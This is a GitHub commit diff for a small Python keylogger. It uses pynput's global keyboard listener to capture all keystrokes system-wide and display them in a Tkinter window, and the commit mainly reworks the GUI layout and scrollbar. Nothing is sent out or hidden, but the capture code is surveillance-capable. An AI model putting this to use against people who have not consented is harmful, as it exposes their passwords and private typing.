Skip to content

Commit

Permalink
Minor rework in regards to the UI, fixed the ugly
Browse files Browse the repository at this point in the history
canvasing and framing also removed the Rectangle
scroll wheel for the more functional scroll wheel.
  • Loading branch information
Jonathan committed Dec 16, 2024
1 parent ef23c28 commit fed8876
Showing 1 changed file with 17 additions and 34 deletions.
51 changes: 17 additions & 34 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,29 +1,11 @@
from pathlib import Path
from pynput import keyboard
from tkinter import *
import customtkinter

"""
I used, TTinkter Designer and FIGMA to create this GUI for this code, here is the link to the GUI (It may look different to the GUI on the program at the moment, this is due to the fact
I most likely will configure the GUI to be more end user usable :3).
https://www.figma.com/design/owR7KFdx95WTPTqCreb12p/Untitled?node-id=0-1&t=v6NcsSaT1jG9sqie-1
"""

# Explicit imports to satisfy Flake8
"""
Alot of this code unironically, is from the import. Im doing research to understand what frameworks are used and to see if I can add anything to this code using the
This program is a simple keylogger that captures keystrokes and displays them in a Tkinter GUI.
"""

from tkinter import Tk, Canvas, Text, Button, PhotoImage

OUTPUT_PATH = Path(__file__).parent
ASSETS_PATH = OUTPUT_PATH / Path(r"C:\Users\bjjep\Downloads\New folder\build\assets\frame0")

def relative_to_assets(path: str) -> Path:
return ASSETS_PATH / Path(path)

# Initialize main Tkinter window
window = Tk()
window.geometry("589x335")
Expand All @@ -46,13 +28,11 @@ def relative_to_assets(path: str) -> Path:
canvas.create_rectangle(
294.0, 4.0, 589.0, 335.0, fill="#282828", outline="") # Rectangle 2
canvas.create_rectangle(
302.0, 16.0, 540.0, 329.0, fill="#202020", outline="")
302.0, 16.0, 581.0, 329.0, fill="#202020", outline="")
canvas.create_rectangle(
0.0, 4.0, 294.0, 41.0, fill="#535353", outline="") # Rectangle 1


canvas.create_rectangle(
584.0, 16.0, 587.0, 37.0, fill="#D9D9D9", outline="")

# Text widget for displaying keystroke output
keystroke_output = Text(
Expand All @@ -61,30 +41,33 @@ def relative_to_assets(path: str) -> Path:
fg="#FFFFFF",
wrap=WORD,
font=("Helvetica", 10),
relief="flat"
relief="flat",
state="normal" # Keep the widget editable for keylogger input
)
keystroke_output.place(x=302, y=16, width=250, height=313)
keystroke_output.place(x=302, y=16, width=200, height=313)

# Scroll functionality using Rectangle 1
scrollbar = Scrollbar(window, orient=VERTICAL, command=keystroke_output.yview,)
# Scrollbar for the text widget
scrollbar = Scrollbar(window, orient=VERTICAL, command=keystroke_output.yview)
keystroke_output.config(yscrollcommand=scrollbar.set)
scrollbar.place(x=570, y=16, height=313)
scrollbar.place(x=277, y=16, height=313, )

# Function to capture keystrokes and display them

def keyPressed(key):
try:
char = key.char # Try to get the character of the key pressed
keystroke_output.insert(END, char)
keystroke_output.see(END) # Auto-scroll to the end
# Capture printable characters
char = key.char
keystroke_output.insert(END, char)
except AttributeError:
special_key = f" [{key}] "
keystroke_output.insert(END, special_key) # Handle special keys
keystroke_output.see(END)
# Handle special keys (e.g., Shift, Enter)
special_key = f"[{key}]"
keystroke_output.insert(END, special_key)
keystroke_output.see(END) # Auto-scroll to the latest keystroke

# Initialize the key listener and start it
if __name__ == "__main__":
logger = keyboard.Listener(on_press=keyPressed)
logger.start()

# Run the Tkinter main loop to handle the GUI
window.resizable(False, False)
window.mainloop()

0 comments on commit fed8876

Please sign in to comment.